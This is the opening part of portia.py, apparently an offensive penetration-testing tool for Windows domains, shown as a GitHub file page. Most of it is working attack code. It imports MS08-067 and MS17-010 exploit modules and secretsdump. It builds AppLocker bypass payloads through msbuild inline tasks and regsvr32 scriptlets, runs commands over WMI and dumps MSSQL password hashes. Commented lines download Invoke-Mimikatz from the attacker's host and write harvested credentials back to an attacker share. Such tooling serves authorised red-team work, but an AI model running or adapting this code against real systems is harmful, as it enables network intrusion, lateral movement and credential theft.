forked from SpiderLabs/portia
-
Notifications
You must be signed in to change notification settings - Fork 0
/
portia.py
executable file
·5797 lines (5483 loc) · 262 KB
/
portia.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#pip install pymssql
from deps.psexec import *
from deps.wmiexec import *
from deps.smbexec import *
from deps.secretsdump import *
from deps.smb_exploit import *
from deps.goldenPac import *
from modules import ms08_067
from modules import ms17_010
from random import randint
#from deps.ms14_068 import *
import nmap
import Crypto
import pymssql
import shutil
import argparse
import base64
import binascii
import cmd
import commands
import glob, subprocess
import logging
import os
import pyasn1
import random
import re
#import socket
import ipaddress
import socket,commands,sys
import string
import sys
import tempfile
import threading
import time
import unicodedata
import xmltodict
from Crypto import Cipher
from Crypto import Random
from Crypto.Cipher import AES
import Crypto.Cipher.DES
from Crypto.Hash import MD5
from binascii import unhexlify
from dns import reversename, resolver
from impacket import tds, version
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE
from impacket.examples import logger
from impacket.structure import Structure
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.tds import TDS_ERROR_TOKEN, TDS_LOGINACK_TOKEN
from impacket.winregistry import hexdump
from netaddr import IPNetwork,IPAddress
from nmb.NetBIOS import NetBIOS
from os import kill
from pyasn1.codec.der import decoder, encoder
from signal import alarm, signal, SIGALRM, SIGKILL
from smb.SMBConnection import SMBConnection as SMBConnection1
#from socket import *
from struct import *
from struct import unpack
from subprocess import Popen, PIPE
from tabulate import tabulate
from termcolor import colored, cprint
import Crypto.Cipher.DES
from shutil import copyfile
from SocketServer import ThreadingMixIn, ForkingMixIn
from BaseHTTPServer import HTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
try:
import pyasn1
except ImportError:
logging.critical('This module needs pyasn1 installed')
logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
sys.exit(1)
'''
Prerequisites
apt install autoconf automake autopoint libtool pkg-config
git clone https://github.com/libyal/libesedb.git
cd libesedb/
./synclibs.sh
./autogen.sh
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python setup.py install
'''
pathVolatility='/pentest/volatility/'
pathEsedb='/pentest/libesedb/esedbtools/'
pathNTDSExtract='/pentest/ntdsxtract/'
optionMS14068=True
optionTokenPriv=True
amsiMode=False
demo=False
debugMode=False
skipMode=False
obfuscatedMode=False
verbose=False
runAllModules=True
client_machine_name = 'localpcname'
totalAns=""
vulnStatus=False
applockerBypass=False
bold=True
origScriptPath=os.getcwd()
domainAdminList=[]
#domainUserList=[]
localUserList=[]
attemptedCredList=[]
tmpCreateUsername="portia"
tmpCreatePassword="Password1"
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
outputBuffer1 = ''
tmpRegResultList1 = []
tmpRegResultList2 = []
tmpRegResultList3 = []
hashList=[]
passList=[]
userPassList=[]
userHashList=[]
daPassList=[]
verbose=False
netbiosName=""
liveList=[]
ipList=[]
folderDepth=4
dcCompromised=False
rdpList=[]
nbList=[]
dcList=[]
mssqlList=[]
accessOKHostList=[]
accessAdmHostList=[]
uncompromisedHostList=[]
compromisedHostList=[]
powershellCmdStart='powershell -Sta -ep bypass -noninteractive -nologo -window hidden '
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
class ForkingSimpleServer(ForkingMixIn, HTTPServer):
pass
#class RequestHandler(SimpleHTTPRequestHandler):
# def do_GET(self):
# print "here123"
# #self.send_response(200)
# #self.end_headers()
class colors:
def __init__(self):
self.green = "\033[92m"
self.blue = "\033[94m"
self.bold = "\033[1m"
self.yellow = "\033[93m"
self.red = "\033[91m"
self.end = "\033[0m"
color = colors()
class RemoteOperationsReg:
def __init__(
self,
smbConnection,
doKerberos,
kdcHost=None,
):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5 * 60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
def getRRP(self):
return self.__rrp
def __connectSvcCtl(self):
rpc = \
transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def connectWinReg(self):
rpc = \
transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def __checkServiceStatus(self):
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle,
self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
ans = scmr.hRQueryServiceStatus(self.__scmr,
self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] \
== scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state'
% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] \
== scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running'
% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting'
% ans['CurrentState'])
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,
self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it'
% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr,
self.__serviceHandle, dwStartType=0x3)
logging.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
time.sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.connectWinReg()
def __restore(self):
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle,
scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s'
% self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr,
self.__serviceHandle, dwStartType=0x4)
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__scmr is not None:
self.__scmr.disconnect()
class RegHandler:
def __init__(
self,
targetIP,
domain,
username,
password,
passwordHash,
keyName,
selectedKey,
):
self.__username = username
self.__password = password
self.__domain = domain
self.__action = 'QUERY'
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__doKerberos = None
self.__kdcHost = None
self.__smbConnection = None
self.__remoteOps = None
self.__port = 445
self.__keyName = keyName
self.__selectedKey = selectedKey
self.__regValues = {
0: 'REG_NONE',
1: 'REG_SZ',
2: 'REG_EXPAND_SZ',
0x3: 'REG_BINARY',
0x4: 'REG_DWORD',
5: 'REG_DWORD_BIG_ENDIAN',
6: 'REG_LINK',
7: 'REG_MULTI_SZ',
11: 'REG_QWORD',
}
if passwordHash is not None:
(self.__lmhash, self.__nthash) = passwordHash.split(':')
def connect(self, remoteName, remoteHost):
self.__smbConnection = SMBConnection2(remoteName, remoteHost,
sess_port=int(self.__port))
if self.__doKerberos:
self.__smbConnection.kerberosLogin(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
self.__kdcHost,
)
else:
try:
self.__smbConnection.login(self.__username,
self.__password, self.__domain, self.__lmhash,
self.__nthash)
except Exception, e:
if 'bad username or authentication information' \
in str(e):
if len(self.__lmhash) < 1 and len(self.__nthash) \
< 1:
if [targetIP, 'Access Denied', self.__username
+ '|' + self.__password, None] \
not in tmpRegResultList3:
tmpRegResultList3.append([targetIP,
'Access Denied', self.__username
+ '|' + self.__password, None])
else:
tmpRegResultList3.append([targetIP,
'Access Denied', 'Invalid credentials: '
+ self.__username + '|'
+ self.__lmhash + ':' + self.__nthash,
None])
def run(self, remoteName, remoteHost):
self.connect(remoteName, remoteHost)
self.__remoteOps = RemoteOperationsReg(self.__smbConnection,
self.__doKerberos, self.__kdcHost)
try:
self.__remoteOps.enableRegistry()
except Exception, e:
# logging.debug(str(e))
# logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
self.__remoteOps.connectWinReg()
try:
dce = self.__remoteOps.getRRP()
if self.__action == 'QUERY':
results = self.query(dce, self.__keyName,
self.__selectedKey)
return (results, True)
else:
logging.error('Method %s not implemented yet!'
% self.__action)
except (Exception, KeyboardInterrupt), e:
results = str(e)
return (results, False)
finally:
# logging.critical(str(e))
if self.__remoteOps:
self.__remoteOps.finish()
def query(
self,
dce,
keyName,
selectedKey,
):
# Let's strip the root key
try:
rootKey = keyName.split('\\')[0]
subKey = '\\'.join(keyName.split('\\')[1:])
except Exception:
raise Exception('Error parsing keyName %s' % keyName)
if rootKey.upper() == 'HKLM':
ans = rrp.hOpenLocalMachine(dce)
elif rootKey.upper() == 'HKU' or rootKey.upper() == 'HKCU':
ans = rrp.hOpenCurrentUser(dce)
elif rootKey.upper() == 'HKCR':
ans = rrp.hOpenClassesRoot(dce)
else:
raise Exception('Invalid root key %s ' % rootKey)
hRootKey = ans['phKey']
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED
| rrp.KEY_ENUMERATE_SUB_KEYS
| rrp.KEY_QUERY_VALUE)
if len(selectedKey) > 0:
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'],
str(selectedKey))
return str(value[1])
else:
entriesList = self.__print_all_entries(dce, subKey + '\\',
ans2['phkResult'], 0)
return entriesList
def __print_key_values(self, rpc, keyHandler):
i = 0
resultList = []
while True:
try:
ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)
lp_value_name = (ans4['lpValueNameOut'])[:-1]
if len(lp_value_name) == 0:
lp_value_name = '(Default)'
lp_type = ans4['lpType']
lp_data = ''.join(ans4['lpData'])
# here1
print '\t' + lp_value_name + '\t' \
+ self.__regValues.get(lp_type, 'KEY_NOT_FOUND') \
+ '\t',
# print lp_value_name+"\t"+self.__regValues.get(lp_type, 'KEY_NOT_FOUND')
# resultList.append('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t',)
self.__parse_lp_data(lp_type, lp_data)
i += 1
except rrp.DCERPCSessionError, e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
return resultList
def __print_all_entries(
self,
rpc,
keyName,
keyHandler,
index,
):
index = 0
resultList = []
while True:
try:
subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
index += 1
ans = rrp.hBaseRegOpenKey(rpc, keyHandler,
subkey['lpNameOut'],
samDesired=rrp.MAXIMUM_ALLOWED
| rrp.KEY_ENUMERATE_SUB_KEYS)
newKeyName = keyName + (subkey['lpNameOut'])[:-1] + '\\'
# print newKeyName
resultList.append((subkey['lpNameOut'])[:-1])
except rrp.DCERPCSessionError, e:
# self.__print_key_values(rpc, ans['phkResult'])
# self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except rpcrt.DCERPCException, e:
if str(e).find('access_denied') >= 0:
logging.error('Cannot access subkey %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
continue
elif str(e).find('rpc_x_bad_stub_data') >= 0:
logging.error('Fault call, cannot retrieve value for %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
return
raise
return resultList
def __print_all_subkeys_and_entries(
self,
rpc,
keyName,
keyHandler,
index,
):
index = 0
while True:
try:
subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
index += 1
ans = rrp.hBaseRegOpenKey(rpc, keyHandler,
subkey['lpNameOut'],
samDesired=rrp.MAXIMUM_ALLOWED
| rrp.KEY_ENUMERATE_SUB_KEYS)
newKeyName = keyName + (subkey['lpNameOut'])[:-1] + '\\'
# print newKeyName
self.__print_key_values(rpc, ans['phkResult'])
self.__print_all_subkeys_and_entries(rpc, newKeyName,
ans['phkResult'], 0)
except rrp.DCERPCSessionError, e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except rpcrt.DCERPCException, e:
if str(e).find('access_denied') >= 0:
logging.error('Cannot access subkey %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
continue
elif str(e).find('rpc_x_bad_stub_data') >= 0:
logging.error('Fault call, cannot retrieve value for %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
return
raise
@staticmethod
def __parse_lp_data(valueType, valueData):
try:
if valueType == rrp.REG_SZ or valueType \
== rrp.REG_EXPAND_SZ:
if type(valueData) is int:
print 'NULL'
else:
print '%s' % valueData.decode('utf-16le')[:-1]
elif valueType == rrp.REG_BINARY:
print ''
hexdump(valueData, '\t')
elif valueType == rrp.REG_DWORD:
print '0x%x' % unpack('<L', valueData)[0]
elif valueType == rrp.REG_QWORD:
print '0x%x' % unpack('<Q', valueData)[0]
elif valueType == rrp.REG_NONE:
try:
if len(valueData) > 1:
print ''
hexdump(valueData, '\t')
else:
print ' NULL'
except:
print ' NULL'
elif valueType == rrp.REG_MULTI_SZ:
print '%s' % valueData.decode('utf-16le')[:-2]
else:
print 'Unkown Type 0x%x!' % valueType
hexdump(valueData)
except Exception, e:
logging.debug('Exception thrown when printing reg value %s'
, str(e))
print 'Invalid data'
def getNetBiosName(ip):
n = NetBIOS(broadcast=True, listen_port=0)
netbiosName=''
try:
netbiosName=n.queryIPForName(ip)[0]
except Exception:
pass
return netbiosName
def cleanUp():
import glob, os
for f in glob.glob(origScriptPath+"/modules/*.bat"):
os.remove(f)
def encodeJavaScript(str1):
str2=''
for ch in str1:
str2+="\\x"+str([ch.encode("hex")][0])
return str2
'''
def appLockerBypass1(targetIP, domain, username, password, passwordHash,cmd):
print (setColor("[*]", bold, color="blue"))+" "+targetIP+":445 "+(setColor("[applocker] ", color="green"))+" | AppLocker Bypass Technique 1"
str1='cmd /k cd C:\ & \\\\'+myIP+'\\Guest\\powershell.exe \"IEX (New-Object Net.WebClient).DownloadString(\'http://'+myIP+':8000/Invoke-Mimikatz.ps1\'); Invoke-Mimikatz -DumpCreds | Out-File \\\\'+myIP+'\\guest\\'+targetIP+'_mimikatz.txt\"'
if debugMode==True:
print str1
str2=encodeJavaScript(str1)
if debugMode==True:
print str2
query= ('<?XML version="1.0"?>\n'
'<scriptlet>\n'
'<registration\n'
'progid="Pentest"\n'
'classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >\n'
'<script language="JScript">\n'
'<![CDATA[\n'
'var _0xb453=["'+str2+'","\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C"];var r= new ActiveXObject(_0xb453[1]).Run(_0xb453[0])'
']]>\n'
'</script>\n'
'</registration>\n'
'</scriptlet>\n')
tmpPath=origScriptPath+"/loot/"
f = open(tmpPath+'payload.sct', 'w')
f.write(query)
f.close()
if getCPUType(targetIP,domain,username,password,passwordHash)==True:
filename='C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe'
#filename='C:\Windows\Microsoft.NET\Framework64\\v4.0.30319\msbuild.exe'
else:
filename='C:\Windows\Microsoft.NET\Framework64\\v4.0.30319\msbuild.exe'
#filename='C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe'
cmd = 'dir '+filename
results=runWMIEXEC(targetIP, domain, username, password, passwordHash,cmd)
if "The system cannot find the file specified" not in results:
cmd = 'regsvr32 /u /n /s /i:http://'+myIP+':8000/payload.sct scrobj.dll'
if debugMode==True:
print cmd
results=runWMIEXEC(targetIP, domain, username, password, passwordHash,cmd)
if debugMode==True:
print results
'''
def appLockerBypass2(targetIP, domain, username, password, passwordHash,cmd):
print (setColor("[*]", bold, color="blue"))+" "+targetIP+":445 | "+(setColor("[applocker]", color="green"))+" | AppLocker Bypass Technique 2"
query= ('<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\n'
' <Target Name="Hello">\n'
' <FragmentExample />\n'
' <ClassExample />\n'
' </Target>\n'
' <UsingTask\n'
' TaskName="FragmentExample"\n'
' TaskFactory="CodeTaskFactory"\n'
' AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >\n'
' <ParameterGroup/>\n'
' <Task>\n'
' <Using Namespace="System" />\n'
' <Using Namespace="System.IO" />\n'
' <Code Type="Fragment" Language="cs">\n'
' <![CDATA[\n'
' Console.WriteLine("Hello From Fragment");\n'
' ]]>\n'
' </Code>\n'
' </Task>\n'
' </UsingTask>\n'
' <UsingTask\n'
' TaskName="ClassExample"\n'
' TaskFactory="CodeTaskFactory"\n'
' AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >\n'
' <Task>\n'
' <Reference Include="System.Management.Automation" />\n'
' <Code Type="Class" Language="cs">\n'
' <![CDATA[\n'
' \n'
' using System;\n'
' using System.IO;\n'
' using System.Diagnostics;\n'
' using System.Reflection;\n'
' using System.Runtime.InteropServices;\n'
' //Add For PowerShell Invocation\n'
' using System.Collections.ObjectModel;\n'
' using System.Management.Automation;\n'
' using System.Management.Automation.Runspaces;\n'
' using System.Text;\n'
' using Microsoft.Build.Framework;\n'
' using Microsoft.Build.Utilities;\n'
' \n'
' public class ClassExample : Task, ITask\n'
' {\n'
' public override bool Execute()\n'
' { \n'
' try\n'
' {\n'
' string x = @\"'+str(cmd).strip()+'";\n'
' Console.WriteLine(RunPSCommand(x));\n'
' }\n'
' catch (Exception e)\n'
' {\n'
' Console.WriteLine(e.Message);\n'
' }\n'
' return true;\n'
' }\n'
' \n'
' public static string RunPSCommand(string cmd)\n'
' {\n'
' //Init stuff\n'
' Runspace runspace = RunspaceFactory.CreateRunspace();\n'
' runspace.Open();\n'
' RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);\n'
' Pipeline pipeline = runspace.CreatePipeline();\n'
' //Add commands\n'
' pipeline.Commands.AddScript(cmd);\n'
' //Prep PS for string output and invoke\n'
' pipeline.Commands.Add("Out-String");\n'
' Collection<PSObject> results = pipeline.Invoke();\n'
' runspace.Close();\n'
' //Convert records to strings\n'
' StringBuilder stringBuilder = new StringBuilder();\n'
' foreach (PSObject obj in results)\n'
' {\n'
' stringBuilder.Append(obj);\n'
' }\n'
' return stringBuilder.ToString().Trim();\n'
' }\n'
' \n'
' public static void RunPSFile(string script)\n'
' {\n'
' PowerShell ps = PowerShell.Create();\n'
' ps.AddCommand("Set-ExecutionPolicy").AddArgument("Unrestricted");\n'
' ps.AddScript(script).Invoke();\n'
' }\n'
' }\n'
' ]]>\n'
' </Code>\n'
' </Task>\n'
' </UsingTask>\n'
'</Project>\n')
f = open(origScriptPath+"/loot/"+'build.xml', 'w')
f.write(query)
f.close()
#cmd = 'powershell "IEX (New-Object Net.WebClient).DownloadString(\'http://'+targetIP+':8000/Invoke-Mimikatz.ps1\'); Invoke-Mimikatz -DumpCreds | Out-File \\\\'+myIP+'\\guest\\'+targetIP+'_mimikatz.txt"'
#f = open(origScriptPath+"/loot/"+'callMimikatz.ps1', 'w')
#f.write(cmd)
#f.close()
cmd = 'copy \\\\'+myIP+'\\guest\\build.xml C:\\windows\\temp /y'
results,status=runWMIEXEC(targetIP, domain, username, password, passwordHash, cmd)
#cmd = 'copy \\\\'+myIP+'\\guest\\callMimikatz.ps1 C:\\windows\\temp'
#results=runWMIEXEC(targetIP, domain, username, password, passwordHash, cmd)
if getCPUType(targetIP,domain,username,password,passwordHash)==True:
filename='C:\Windows\Microsoft.NET\Framework64\\v4.0.30319\msbuild.exe'
else:
filename='C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe'
cmd = 'dir '+filename
results,status=runWMIEXEC(targetIP, domain, username, password, passwordHash, cmd)
if "The system cannot find the file specified" not in results:
cmd = filename+" C:\\windows\\temp\\build.xml"
return cmd
def appLockerBypass3(targetIP, domain, username, password, passwordHash,command):
print (setColor("[*]", bold, color="blue"))+" "+targetIP+":445 | "+(setColor("[applocker]", color="green"))+" | AppLocker Bypass Technique 3"
cmd = 'copy \\\\'+myIP+'\\guest\\powershell.exe C:\\windows\\tasks'
runWMIEXEC(targetIP, domain, username, password, passwordHash,cmd)
cmd = 'C:\windows\\tasks\powershell.exe -ep bypass -Command \"'+command+'\"'
return cmd
def appLockerBypass4(targetIP, domain, username, password, passwordHash,command):
print (setColor("[*]", bold, color="blue"))+" "+targetIP+":445 | "+(setColor("[applocker]", color="green"))+" | AppLocker Bypass Technique 4"
#https://github.com/Cn33liz/CScriptShell
if getCPUType(targetIP,domain,username,password,passwordHash)==True:
filename='C:\Windows\Microsoft.NET\Framework64\\v3.5\csc.exe '
else:
filename='C:\Windows\Microsoft.NET\Framework\\v3.5\csc.exe '
cmd = 'dir '+filename
results,status=runWMIEXEC(targetIP, domain, username, password, passwordHash,cmd)
#shutil.copy(origScriptPath+'/modules/bypass/CScriptShell.cs.template', '/modules/bypass/CScriptShell.cs')
with open(origScriptPath+'/modules/bypass/CScriptShell.cs.template', 'r') as file :
filedata = file.read()
#filedata = filedata.replace('PLACEHOLDER', 'IEX (New-Object Net.WebClient).DownloadString(\'http://is.gd/oeoFuI\'); Invoke-Mimikatz -DumpCreds | Out-File \\\\\\\\'+myIP+'\\\\guest\\\\'+targetIP+'_mimikatz.txt')
#command=command.replace("Out-File \\","Out-File \\\\\\\\")
#command=command.replace("'","\\'")
command=command.replace("\\","\\\\")
filedata = filedata.replace('PLACEHOLDER', command)
with open(origScriptPath+'/modules/bypass/CScriptShell.cs', 'w') as file:
file.write(filedata)
if "The system cannot find the file specified" not in results:
uploadFile("\\bypass\\key.snk","key.snk",targetIP, domain, username, password, passwordHash)
uploadFile("\\bypass\\System.Management.Automation.dll","System.Management.Automation.dll",targetIP, domain, username, password, passwordHash)
uploadFile("\\bypass\\CScriptShell.cs","CScriptShell.cs",targetIP, domain, username, password, passwordHash)
uploadFile("\\bypass\\CScriptShell.js","CScriptShell.js",targetIP, domain, username, password, passwordHash)
cmd = filename+' /r:System.EnterpriseServices.dll,C:\\windows\\temp\\System.Management.Automation.dll /target:library /out:C:\\windows\\temp\\CScriptShell.dll /keyfile:C:\\windows\\temp\\key.snk C:\\windows\\temp\\CScriptShell.cs'
result,status=runWMIEXEC(targetIP, domain, username, password, passwordHash,cmd)
if debugMode==True:
print cmd
print results
#cmd = 'SCHTASKS /RL HIGHEST /Create /SC MONTHLY /RU '+username+' /RP '+password+' /MO first /D SUN /F /TN microsoftschedulertest /TR "C:\\Windows\\System32\\cscript.exe c:\\windows\\temp\\CScriptShell.js"'
#cmd = 'SCHTASKS /RL HIGHEST /Create /SC MONTHLY /RU milo /MO first /D SUN /F /TN microsoftschedulertest /TR "C:\\Windows\\System32\\cscript.exe c:\\windows\\temp\\CScriptShell.js"'
cmd = 'C:\\Windows\\System32\\cscript.exe c:\\windows\\temp\\CScriptShell.js'
return cmd
#C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /r:System.EnterpriseServices.dll,System.Management.Automation.dll /target:library /out:CScriptShell.dll /keyfile:key.snk CScriptShell.cs
#cscript.exe CScriptShell.js
def listDatabases(db,conn):
sql_query='USE master; SELECT NAME FROM sysdatabases;'
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
dbList=[]
defaultDBList=[]
defaultDBList.append('master')
defaultDBList.append('tempdb')
defaultDBList.append('model')
defaultDBList.append('msdb')
for x in results:
for k, v in x.iteritems():
if v not in defaultDBList:
dbList.append(v)
return dbList
def listTables(db,conn,dbName):
sql_query='SELECT * FROM '+dbName+'.INFORMATION_SCHEMA.TABLES;'
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
tableList=[]
for x in results:
if x.values()[3]=='BASE TABLE':
tableList.append([x.values()[0],x.values()[2]])
return tableList
#print tabulate(tableList)
def listColumns(db,conn,dbName,tableName):
sql_query='use '+dbName+';exec sp_columns '+tableName+';'
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
columnList=[]
for x in results:
columnName=x.values()[-1]
columnList.append([dbName,tableName,columnName])
return columnList
#print tabulate(results)
def sampleData(db,conn,dbName,tableName):
sql_query='use '+dbName+';select * from '+tableName+';'
try:
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
return results
except Exception as e:
print e
def dumpSQLHashes(db,conn,pre2008=True):
resultList=[]
if pre2008==False:
sql_query='SELECT name,password_hash FROM sys.sql_logins;'
print sql_query
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
for x in results:
print x.values()
resultList.append(x.values)
else:
sql_query='SELECT password from master.dbo.sysxlogins;'
print sql_query
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
for x in results:
print x.values()
resultList.append(x.values)
return resultList
'''
def runSQLQuery(hostNo,user,password,query):
tmpResultList=[]
#conn = pymssql.connect(hostNo, user, password, "tempdb")
conn = pymssql.connect(hostNo, user, password, "master")
cursor = conn.cursor()
cursor.execute(query)
